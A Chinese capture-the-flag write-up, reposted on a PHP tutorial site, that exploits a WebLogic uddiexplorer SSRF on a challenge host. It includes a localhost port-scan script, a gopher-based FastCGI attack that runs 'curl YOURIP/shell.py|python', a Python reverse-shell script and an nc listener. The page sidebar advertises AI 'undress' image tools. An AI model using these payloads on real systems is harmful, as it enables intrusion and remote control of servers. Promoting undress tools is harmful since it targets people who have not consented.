Table of Contents
三個白帽-寻找来自星星的你 - 第一期
挑战介绍
挑战目标
0x01 信息收集
利用漏洞
得到http://www.tuicool.com/articles/UjaqIbz
端口掃描.py
命令執行
反彈shell的黑科技,bash反彈無效~~
shell.py
gopher.php
反彈shell
GETFLAG
Home Backend Development PHP Tutorial 三个白帽-寻找来自星星的你-第一期

三个白帽-寻找来自星星的你-第一期

Jun 20, 2016 pm 12:26 PM

三個白帽-寻找来自星星的你 - 第一期

挑战介绍

来自星星的你被我给丢了,我可能需要用我所有的一切才能把你找回,编了两句就编不下去了,好吧,我承认这是一期渗透题,就是这么直接。

挑战目标

http://0761e975dda0c67cb.jie.sangebaimao.com/

0x01 信息收集

打開地址,是一個dz論壇。似乎不怎麼好玩啊,還是最新版本的。

既然是滲透了,感覺祭出大殺器“掃描目錄”! (字典才是關鍵)

很快就get到關鍵信息了(排除dz原有的目錄及頁面)

/info.php/uddiexplorer/
Copy after login

一個是phpinfo()信息,很有用處的。

/opt/discuz/info.php
Copy after login

另一個是weblogic的東西。

果斷百度 "uddiexplorer 漏洞",馬上可以知道 weblogic uddiexplorer存在 SSRF漏洞。

這次滲透的關鍵就在於 SSRF!!!

利用漏洞

SSRF並不只是搞內網,結合三個白帽的結界docker,搞127.0.0.1才是王道!

萬能的百度啊,搜索關鍵字 "SearchPublicRegistries ssrf 漏洞 exp"

得到http://www.tuicool.com/articles/UjaqIbz

得到一個腳本,自己修改一下拿來用!!!

端口掃描.py

#!/usr/bin/env python  # -*- coding: utf-8 -*- import reimport requestsdef scan(ip_str):    url = 'http://0761e975dda0c67cb.jie.sangebaimao.com'    ports = ('21','22','23','53','80','1080','1433','1521','3306','3389','4899','8080','7001','8000','9000','9001',)    for port in ports:        exp_url = url+"/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str, port)        try:            response = requests.get(exp_url, timeout=15, verify=False)            re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content)            re_sult2 = re.findall('but could not connect',response.content)            if len(re_sult1)!=0 and len(re_sult2)==0:                print ip_str+':'+port        except Exception, e:            passif __name__ == "__main__":    scan('127.0.0.1')
Copy after login

成功破出22,80,3306,7001,9000等端口。

SSRF+GOPHER一直都很牛逼,最近更是火熱。

還是百度~~

rr菊苣最新文章 《Do Evil Things with gopher://》

0x03 攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

0x06 参考

PHP FastCGI 的远程利用

命令執行

下載fcgi_exp

運行

nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php "curl YOURIP/shell.py|python"php -f gopher.php
Copy after login

把payload保存到x.txt

反彈shell的黑科技,bash反彈無效~~

然後urlencode編碼payload生成ssrf.php

shell.py

import socket,subprocess,os  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  s.connect(("yourip",9999))  os.dup2(s.fileno(),0)  os.dup2(s.fileno(),1)  os.dup2(s.fileno(),2)  p=subprocess.call(["/bin/bash","-i"]);
Copy after login

gopher.php

<?php$p = str_replace("+", "%20", urlencode(file_get_contents("x.txt")));file_put_contents("ssrf.php", "<?php header('Location: gopher://127.0.0.1:9000/_".$p."');?>");?>
Copy after login

成功生成了利用文件ssrf.php

反彈shell

VPS運行

nc -lvv 9999
Copy after login

利用SSRF

http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%20location&btnSubmit=Search&operator=YOURIP/ssrf.php
Copy after login

成功反彈~~~

GETFLAG

自己找吧

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

Repo: How To Revive Teammates
1 months ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
1 months ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Working with Flash Session Data in Laravel Working with Flash Session Data in Laravel Mar 12, 2025 pm 05:08 PM

Laravel simplifies handling temporary session data using its intuitive flash methods. This is perfect for displaying brief messages, alerts, or notifications within your application. Data persists only for the subsequent request by default: $request-

Build a React App With a Laravel Back End: Part 2, React Build a React App With a Laravel Back End: Part 2, React Mar 04, 2025 am 09:33 AM

This is the second and final part of the series on building a React application with a Laravel back-end. In the first part of the series, we created a RESTful API using Laravel for a basic product-listing application. In this tutorial, we will be dev

cURL in PHP: How to Use the PHP cURL Extension in REST APIs cURL in PHP: How to Use the PHP cURL Extension in REST APIs Mar 14, 2025 am 11:42 AM

The PHP Client URL (cURL) extension is a powerful tool for developers, enabling seamless interaction with remote servers and REST APIs. By leveraging libcurl, a well-respected multi-protocol file transfer library, PHP cURL facilitates efficient execution of various network protocols, including HTTP, HTTPS, and FTP. This extension offers granular control over HTTP requests, supports multiple concurrent operations, and provides built-in security features.

Simplified HTTP Response Mocking in Laravel Tests Simplified HTTP Response Mocking in Laravel Tests Mar 12, 2025 pm 05:09 PM

Laravel provides concise HTTP response simulation syntax, simplifying HTTP interaction testing. This approach significantly reduces code redundancy while making your test simulation more intuitive. The basic implementation provides a variety of response type shortcuts: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

12 Best PHP Chat Scripts on CodeCanyon 12 Best PHP Chat Scripts on CodeCanyon Mar 13, 2025 pm 12:08 PM

Do you want to provide real-time, instant solutions to your customers' most pressing problems? Live chat lets you have real-time conversations with customers and resolve their problems instantly. It allows you to provide faster service to your custom

Notifications in Laravel Notifications in Laravel Mar 04, 2025 am 09:22 AM

In this article, we're going to explore the notification system in the Laravel web framework. The notification system in Laravel allows you to send notifications to users over different channels. Today, we'll discuss how you can send notifications ov

Explain the concept of late static binding in PHP. Explain the concept of late static binding in PHP. Mar 21, 2025 pm 01:33 PM

Article discusses late static binding (LSB) in PHP, introduced in PHP 5.3, allowing runtime resolution of static method calls for more flexible inheritance.Main issue: LSB vs. traditional polymorphism; LSB's practical applications and potential perfo

PHP Logging: Best Practices for PHP Log Analysis PHP Logging: Best Practices for PHP Log Analysis Mar 10, 2025 pm 02:32 PM

PHP logging is essential for monitoring and debugging web applications, as well as capturing critical events, errors, and runtime behavior. It provides valuable insights into system performance, helps identify issues, and supports faster troubleshoot

See all articles